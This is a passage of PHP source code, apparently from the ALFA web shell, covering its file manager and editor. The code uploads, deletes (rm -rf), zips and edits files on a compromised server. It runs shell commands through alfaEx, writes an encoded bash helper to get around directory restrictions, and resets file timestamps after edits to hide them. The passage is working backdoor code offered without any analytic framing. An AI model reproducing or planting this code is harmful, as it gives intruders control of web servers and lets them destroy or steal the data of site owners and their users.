                if (_alfa_is_writable($GLOBALS['cwd'])) {
                    $files = reArrayFiles($_FILES['f']);
                    $ret_files = array();
                    foreach ($files as $file) {
                        if ($move_cmd_file && $alfa_canruncmd) {
                            alfaEx("cat '" . addslashes($file['tmp_name']) . "' > '" . addslashes($_POST["c"] . "/" . $file['name']) . "'");
                        } else {
                            if (@move_uploaded_file($file['tmp_name'], $file['name'])) {
                                $ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($file['name'])) : array("name" => "????");
                                $gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($file['name'])) : array("name" => "????");
                                $file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($file['name']) : "????");
                                $file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($file['name']) : "????");
                                $file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
                                $file_perm = alfaPermsColor($file['name']);
                                $file_size = @filesize($file['name']);
                                $ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner . "/" . $file_group);
                            }
                        }
                    }
                    if (!$move_cmd_file) {
                        echo json_encode($ret_files);
                    }
                } else {
                    echo "noperm";
                    return;
                }
                if (!$move_cmd_file) {
                    return;
                }
                break;
            case 'mkdir':
                $new_dir_cmd = false;
                if ($GLOBALS['glob_chdir_false']) {
                    if (_alfa_can_runCommand(true, true)) {
                        if (_alfa_is_writable($GLOBALS['cwd'])) {
                            if (!_alfa_is_dir(trim($_POST['alfa2']))) {
                                alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';mkdir '" . trim(addslashes($_POST['alfa2'])) . "'");
                                echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
                            } else {
                                echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
                            }
                        } else {
                            echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
                        }
                    } else {
                        echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
                    }
                } else {
                    if (_alfa_is_writable($GLOBALS['cwd'])) {
                        if (!_alfa_is_dir(trim($_POST['alfa2']))) {
                            if (!@mkdir(trim($_POST['alfa2']))) {
                                echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
                            } else {
                                echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
                            }
                        } else {
                            echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
                        }
                    } else {
                        echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
                    }
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = @opendir($path);
                    while (($item = @readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = @filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    @closedir($dh);
                    @rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        if ($f == '..') {
                            continue;
                        }
                        $f = rawurldecode($f);
                        if ($GLOBALS["glob_chdir_false"]) {
                            if (_alfa_can_runCommand(true, true)) {
                                alfaEx("rm -rf '" . addslashes($_POST['c'] . '/' . $f) . "'");
                            }
                        } else {
                            alfaEx("rm -rf '" . addslashes($f) . "'", false, false);
                            if (@is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                }
                if (@is_dir(rawurldecode(@$_POST['alfa2'])) && rawurldecode(@$_POST['alfa2']) != '..') {
                    deleteDir(rawurldecode(@$_POST['alfa2']));
                    alfaEx("rm -rf '" . addslashes($_POST['alfa2']) . "'", false, false);
                } else {
                    @unlink(rawurldecode(@$_POST['alfa2']));
                }
                if ($GLOBALS["glob_chdir_false"]) {
                    $source = rawurldecode(@$_POST['alfa2']);
                    if ($source != '..' && !empty($source)) {
                        if (_alfa_can_runCommand(true, true)) {
                            alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';rm -rf '" . addslashes($source) . "'");
                        }
                    }
                }
                if (is_array($_POST['f'])) {
                    return;
                }
                break;
            case 'paste':
                if ($_COOKIE['alfa_act'] == 'copy' && isset($_COOKIE['alfa_f'])) {
                    foreach ($_COOKIE['alfa_f'] as $f) {
                        copy_paste($_COOKIE['alfa_c'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_COOKIE['alfa_act'] == 'move' && isset($_COOKIE['alfa_f'])) {
                    function move_paste($c, $s, $d)
                    {
                        if (@is_dir($c . $s)) {
                            @mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_COOKIE['alfa_f'] as $f) {
                        @rename($_COOKIE['alfa_c'] . $f, $GLOBALS['cwd'] . $f);
                    }
                } elseif ($_COOKIE['alfa_act'] == 'zip' && isset($_COOKIE['alfa_f'])) {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        $zipX = "alfa_" . rand(1, 1000) . ".zip";
                        if ($zip->open($zipX, 1)) {
                            @chdir($_COOKIE['alfa_c']);
                            foreach ($_COOKIE['alfa_f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                if (@is_file($_COOKIE['alfa_c'] . $f)) {
                                    $zip->addFile($_COOKIE['alfa_c'] . $f, $f);
                                } elseif (@is_dir($_COOKIE['alfa_c'] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
                                    foreach ($iterator as $key => $value) {
                                        $key = str_replace('\\', '/', realpath($key));
                                        if (@is_dir($key)) {
                                            if (in_array(substr($key, strrpos($key, '/') + 1), array('.', '..'))) {
                                                continue;
                                            }
                                        } else {
                                            $zip->addFile($key, $key);
                                        }
                                    }
                                }
                            }
                            @chdir($GLOBALS['cwd']);
                            $zip->close();
                            __alert('>> ' . $zipX . ' << is created...');
                        }
                    }
                } elseif ($_COOKIE['alfa_act'] == 'unzip' && isset($_COOKIE['alfa_f'])) {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_COOKIE['alfa_f'] as $f) {
                            if ($zip->open($_COOKIE['alfa_c'] . $f)) {
                                $zip->extractTo($_COOKIE['alfa_cwd']);
                                $zip->close();
                            }
                        }
                    }
                }
                unset($_COOKIE['alfa_f']);
                break;
            default:
                if (!empty($_POST['alfa1'])) {
                    if (in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))) {
                        __alfa_set_cookie('alfa_act', @$_POST['alfa1']);
                        __alfa_set_cookie('alfa_f', @serialize($_POST['f']));
                        __alfa_set_cookie('alfa_c', @$_POST['c']);
                        return;
                    }
                }
                break;
        }
    }
    $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if (preg_match("#(.*)\\/\\.\\.#", $_POST['c'], $res)) {
        $path = explode('/', $res[1]);
        array_pop($path);
        $_POST['c'] = implode('/', $path);
    }
    $cmd_dir = false;
    if ($dirContent === false) {
        if (_alfa_can_runCommand(true, true)) {
            $tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
            @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
            if (!isset($_COOKIE["alfachdir_bash"]) || @(!file_exists($tmp_getdir_path . "/alfacgiapi/getdir.alfa"))) {
                $bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
                $tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa", $bash);
                __alfa_set_cookie("alfachdir_bash", "true");
                __alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
            }
            $dirContent = alfaEx("cd " . $tmp_getdir_path . "/alfacgiapi;sh getdir.alfa '" . addslashes(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']) . "'");
            $dirContent = json_decode($dirContent, true);
            if (is_array($dirContent)) {
                array_pop($dirContent);
                $cmd_dir = true;
            } else {
                $dirContent = false;
            }
        }
    }
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4);
    $count_dirContent = @count($dirContent);
    if ($count_dirContent > 300) {
        @($_COOKIE["alfa_limited_files"] = 100);
    }
    $alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
    $alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int) $_COOKIE["alfa_limited_files"] : 0;
    $alfa_files_page_number = isset($_POST["pagenum"]) ? (int) $_POST["pagenum"] : 1;
    $alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
    $files_page_count = 1;
    if ($alfa_limited_files > 0) {
        $files_page_count = ceil($count_dirContent / $alfa_limited_files);
        if ($files_page_count > 1) {
            $files_page_count++;
        }
    }
    echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" ' . ($alfa_sort_by == 'name' ? 'selected' : '') . '>Name</option><option value="size" ' . ($alfa_sort_by == 'size' ? 'selected' : '') . '>Size</option><option value="modify" ' . ($alfa_sort_by == 'modify' ? 'selected' : '') . '>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" ' . ($alfa_filesman_direction == 'asc' ? 'selected' : '') . '>Ascending</option><option value="desc" ' . ($alfa_filesman_direction == 'desc' ? 'selected' : '') . '>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="' . $alfa_limited_files . '" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">' . ($count_dirContent - 1) . '</b></span></div><div class="header">';
    if ($dirContent == false) {
        echo "<center><br><span style=\"font-size:16px;\"><span style=\"color: red; -webkit-text-shadow: 1px 1px 13px;\"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>";
        alfaFooter();
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])) {
        $sort[0] = $_COOKIE["alfa_sort_by"];
    }
    if (!empty($_POST['alfa1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['alfa1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    if ($alfa_files_page_number > $files_page_count - 1) {
        $alfa_files_page_number = 1;
    }
    $checkbox_rand = rand(11111, 99999);
    echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk" . $checkbox_rand . "' onclick='checkBox(this);' class='chkbx'><label for='mchk" . $checkbox_rand . "'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = $count_dirContent;
    if ($n > $alfa_limited_files && $alfa_limited_files > 0) {
        $n = $alfa_limited_files * $alfa_files_page_number;
        if ($n > $count_dirContent) {
            $n = $count_dirContent;
        }
    }
    $i = 0;
    if ($alfa_limited_files > 0 && $alfa_files_page_number > 1) {
        $i = $alfa_limited_files * ($alfa_files_page_number - 1);
    }
    $page_builder = get_pagination_links($alfa_files_page_number, $files_page_count - 1);
    $cmd_dir_backp = "";
    for (; $i < $n; $i++) {
        if ($cmd_dir) {
            $filename = $dirContent[$i]["name"];
            $file_owner = $dirContent[$i]["owner"];
            $file_group = $dirContent[$i]["group"];
            $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
            $file_perm = alfaPermsColor(array("class" => $dirContent[$i]["permcolor"], "num" => $dirContent[$i]["permnum"], "human" => $dirContent[$i]["permhuman"]), true);
            $file_size = $dirContent[$i]["size"];
            if (substr($dirContent[$i]["name"], 0, 1) == "/") {
                $file_path = $dirContent[$i]["name"];
                $dirContent[$i]["name"] = "..";
                $filename = $dirContent[$i]["name"];
            } else {
                $file_path = $GLOBALS['cwd'] . "/" . $dirContent[$i]["name"];
            }
        } else {
            $filename = $dirContent[$i];
            $ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($GLOBALS['cwd'] . $filename)) : array("name" => "????");
            $gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($GLOBALS['cwd'] . $filename)) : array("name" => "????");
            $file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($GLOBALS['cwd'] . $filename) : "????");
            $file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($GLOBALS['cwd'] . $filename) : "????");
            $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
            $file_perm = alfaPermsColor($GLOBALS['cwd'] . $filename);
            $file_size = @filesize($GLOBALS['cwd'] . $filename);
            $file_path = $GLOBALS['cwd'] . $filename;
        }
        $tmp = array('name' => $filename, 'path' => $file_path, 'modify' => $file_modify, 'perms' => $file_perm, 'size' => $file_size, 'owner' => $file_owner, 'group' => $file_group);
        if ($filename == ".." && !$cmd_dir) {
            $tmp["path"] = str_replace("\\", "/", realpath($file_path));
        }
        if (!$cmd_dir) {
            if (@is_file($file_path)) {
                $arr_mrg = array('type' => 'file');
                if (@is_link($file_path)) {
                    $arr_mrg["link"] = readlink($tmp['path']);
                }
                $files[] = array_merge($tmp, $arr_mrg);
            } elseif (@is_link($file_path)) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($file_path) && $filename != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        } else {
            if ($dirContent[$i]["type"] == "file") {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } else {
                if ($dirContent[$i]["name"] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
        }
    }
    $GLOBALS['sort'] = $sort;
    function alfaCmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "alfaCmp");
    usort($dirs, "alfaCmp");
    if (isset($_COOKIE["alfa_filesman_direction"]) && !empty($_COOKIE["alfa_filesman_direction"])) {
        if ($_COOKIE["alfa_filesman_direction"] == 'desc') {
            $files = array_reverse($files);
            $dirs = array_reverse($dirs);
        }
    }
    $files = array_merge($dirs, $files);
    $l = 0;
    $cc = 0;
    foreach ($files as $f) {
        $f['name'] = htmlspecialchars($f['name']);
        $newname = mb_strlen($f['name'], 'UTF-8') > 60 ? mb_substr($f['name'], 0, 60, 'utf-8') . '...' : $f['name'];
        $checkbox = 'checkbox_' . $checkbox_rand . $cc;
        $raw_name = rawurlencode($f['name']);
        $icon = $GLOBALS['DB_NAME']['show_icons'] ? '<img src="' . findicon($f['name'], $f['type']) . '" width="30" height="30">' : '';
        $style = $GLOBALS['DB_NAME']['show_icons'] ? 'position:relative;display:inline-block;bottom:12px;' : '';
        echo '<tr class="fmanager-row" id="tr_row_' . $cc . '"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="' . $raw_name . '" class="chkbx" id="' . $checkbox . '"><label for="' . $checkbox . '"></label></div></td><td id="td_row_' . $cc . '">' . $icon . '<div style="' . $style . '"><a row="' . $cc . '" id="id_' . $cc . '" class="main_name" onclick="' . ($f['type'] == 'file' ? 'editor(\'' . $raw_name . '\',\'auto\',\'\',\'\',\'\',\'' . $f['type'] . '\');" href="#action=fileman&path=' . $GLOBALS['cwd'] . '&file=' . $raw_name . '" fname="' . $raw_name . '" ftype="file" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '>' . ($GLOBALS['cwd'] . $f['name'] == $GLOBALS['__file_path'] ? "<span class='shell_name' style='font-weight:unset;'>" . $f['name'] . "</span>" : htmlspecialchars($newname)) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" href="#action=fileman&path=' . $f['path'] . '" fname="' . $raw_name . '" ftype="folder" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>') . '</a></td></div><td><span style="font-weight:unset;" class="main_size">' . ($f['type'] == 'file' ? (isset($f['link']) ? '[L] ' : '') . alfaSize($f['size']) : $f['type']) . '</span></td><td><span style="font-weight:unset;" class="main_modify">' . $f['modify'] . '</span></td><td><span style="font-weight:unset;" class="main_owner_group">' . $f['owner'] . '/' . $f['group'] . '</span></td><td><a id="id_chmode_' . $cc . '" href=javascript:void(0) onclick="editor(\'' . $raw_name . '\',\'chmod\',\'\',\'\',\'\',\'' . $f['type'] . '\')">' . $f['perms'] . '</td><td><a id="id_rename_' . $cc . '" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'rename\',\'\',\'\',\'\',\'' . $f['type'] . '\')">R</a> <a id="id_touch_' . $cc . '" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'touch\',\'\',\'\',\'\',\'' . $f['type'] . '\')">T</a>' . ($f['type'] == 'file' ? ' <a id="id_edit_' . $cc . '" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'edit\',\'\',\'\',\'\',\'' . $f['type'] . '\')">E</a> <a id="id_download_' . $cc . '" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $raw_name . '\', \'download\')">D</a>' : '') . '<a id="id_delete_' . $cc . '" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # ' . addslashes(rawurldecode($f['name'])) . ' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'' . $raw_name . '\') : \'\';"> X </a></td></tr>';
        $l = $l ? 0 : 1;
        $cc++;
    }
    echo "<tr id='filemanager_last_tr'><td colspan=7>\r\n<input type=hidden name=a value='FilesMan'>\r\n<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['glob_chdir_false'] ? $_POST['c'] : $GLOBALS['cwd']) . "'>\r\n<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>\r\n<input type='submit' value=' '>\r\n</form></table><div class='pages-holder'><div class='pages-number'>" . $page_builder . "</div></div></div></div>";
    alfafooter();
}
function get_pagination_links($current_page, $total_pages)
{
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
        $links = "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
        $selected_page = "";
        if ($current_page == 1) {
            $selected_page = " active-page-number";
        }
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2) {
            $links .= "<a class=\"page-number\">...</a>";
        }
        for (; $i < min($current_page + 6, $total_pages); $i++) {
            if ($i == $current_page) {
                $selected_page = " active-page-number";
            } else {
                $selected_page = "";
            }
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$i}</a>";
        }
        if ($i != $total_pages) {
            $links .= "<a class=\"page-number\">...</a>";
        }
        $selected_page = " last-page-number";
        if ($current_page == $total_pages) {
            $selected_page = " last-page-number active-page-number";
        }
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$total_pages}</a>";
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools()
{
    alfahead();
    echo "<div class=\"filestools\" style=\"height: 100%;\">";
    if (isset($_POST['alfa1'])) {
        $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
    }
    $alfa1_decoded = $_POST['alfa1'];
    $chdir_fals = false;
    if (!@chdir($_POST['c'])) {
        $chdir_fals = true;
        $_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
        if ($alfa_canruncmd) {
            $slashed_alfa1 = addslashes($_POST['alfa1']);
            $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "' . $slashed_alfa1 . '"'));
            $perm_color_class = alfaEx("if [[ -w '" . $slashed_alfa1 . "' ]]; then echo main_green_perm; elif [[ -r '" . $slashed_alfa1 . "' ]]; then echo main_white_perm; else echo main_red_perm; fi");
        }
    }
    if ($_POST['alfa2'] == 'auto') {
        if (is_array(@getimagesize($_POST['alfa1']))) {
            $_POST['alfa2'] = 'image';
        } else {
            $_POST['alfa2'] = 'view';
            if ($chdir_fals) {
                if ($alfa_canruncmd) {
                    $mime = explode(":", alfaEx("file --mime-type '" . addslashes($_POST['alfa1']) . "'"));
                    $mimetype = $mime[1];
                    if (!empty($mimetype)) {
                        if (strstr($mimetype, "image")) {
                            $_POST['alfa2'] = 'image';
                        }
                    }
                }
            }
        }
    }
    if ($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])) {
        $rename_cache = $_POST['alfa3'];
    }
    if (@$_POST['alfa2'] == 'mkfile') {
        $_POST['alfa1'] = trim($_POST['alfa1']);
        if ($chdir_fals && $alfa_canruncmd) {
            if (_alfa_is_writable($_POST["c"])) {
                alfaEx("cd '" . addslashes($_POST["c"]) . "';touch '" . addslashes($alfa1_decoded) . "'");
                $_POST['alfa2'] = "edit";
            }
        }
        if (!@file_exists($_POST['alfa1'])) {
            $fp = @fopen($_POST['alfa1'], 'w');
            if ($fp) {
                $_POST['alfa2'] = "edit";
                fclose($fp);
            }
        } else {
            $_POST['alfa2'] = "edit";
        }
    }
    if (!_alfa_file_exists(@$_POST['alfa1'])) {
        echo __pre() . "<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('" . $_POST['alfa4'] . "');</script>";
        alfaFooter();
        return;
    }
    if ($chdir_fals) {
        $filesize = $file_info[3];
        $uid["name"] = $file_info[1];
        $gid["name"] = $file_info[2];
        $permcolor = alfaPermsColor(array("class" => $perm_color_class, "num" => $file_info[5], "human" => $file_info[6]), true);
    } else {
        $uid = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($_POST['alfa1'])) : '';
        $gid = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($_POST['alfa1'])) : '';
        if (!$uid && !$gid) {
            $uid['name'] = function_exists("fileowner") ? @fileowner($_POST['alfa1']) : '';
            $gid['name'] = function_exists("filegroup") ? @filegroup($_POST['alfa1']) : '';
        }
        $permcolor = alfaPermsColor($_POST['alfa1']);
        $filesize = @filesize($_POST['alfa1']);
        if (!isset($uid['name'], $gid['name']) || empty($uid['name']) || empty($gid['name'])) {
            if (_alfa_can_runCommand()) {
                list($uid['name'], $gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "' . addslashes($_POST["c"] . "/" . $_POST["alfa1"]) . '"'));
            }
        }
    }
    if (substr($_POST['alfa1'], 0, 7) == "phar://") {
        $alfa_file_directory = $_POST['alfa1'];
    } else {
        $alfa_file_directory = str_replace("//", "/", ($chdir_fals ? "" : $_POST['c'] . '/') . $_POST['alfa1']);
    }
    echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> ' . htmlspecialchars(basename($alfa1_decoded)) . ' <span class="editor_file_info_vars">Size:</span> ' . alfaSize($filesize) . ' <span class="editor_file_info_vars">Permission:</span> ' . $permcolor . ' <span class="editor_file_info_vars">Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . ' <span class="editor_file_info_vars">Directory:</span> ' . dirname($alfa_file_directory) . '</div>';
    if (empty($_POST['alfa2'])) {
        $_POST['alfa2'] = 'view';
    }
    if (!_alfa_is_dir($_POST['alfa1'])) {
        $m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
        $ftype = "file";
    } else {
        $m = array('Chmod', 'Rename', 'Touch');
        $ftype = "dir";
    }
    echo "<div>";
    foreach ($m as $v) {
        echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\'):\'\';"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\')"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a>';
    }
    echo "</div>";
    switch ($_POST['alfa2']) {
        case 'view':
        case 'edit':
            @chdir($_POST['c']);
            $disabled_btn = "";
            if (!@is_writable($_POST['alfa1']) && !_alfa_is_writable($_POST['alfa1'])) {
                $disabled_btn = "disabled=disabled";
                $disabled_btn_style = 'background: #ff0000;color: #fff;';
            }
            if (!empty($_POST['alfa3'])) {
                $_POST['alfa3'] = substr($_POST['alfa3'], 1);
                $time = @filemtime($_POST['alfa1']);
                $fp = @__write_file($_POST['alfa1'], $_POST['alfa3']);
                if ($chdir_fals && $alfa_canruncmd) {
                    $rname = $alfa1_decoded;
                    $randname = $rname . rand(111, 9999);
                    $filepath = dirname($_SERVER["SCRIPT_FILENAME"]) . "/" . $randname;
                    if ($fp = @__write_file($filepath, $_POST['alfa3'])) {
                        alfaEx("mv '" . addslashes($filepath) . "' '" . addslashes($_POST["alfa1"]) . "';rm -f '" . addslashes($filepath) . "'");
                    }
                }
                if ($fp) {
                    echo "Saved!<br>";
                    @touch($_POST['alfa1'], $time, $time);
                }
            }
            echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">' . _alfa_load_ace_options("editor") . '<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\'' . addslashes($alfa1_decoded) . '\',\'edit\',\'1\'+ace_val,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;' . $disabled_btn_style . '" ' . $disabled_btn . '>save</button></div><pre class="ml1 view_ml_content">';
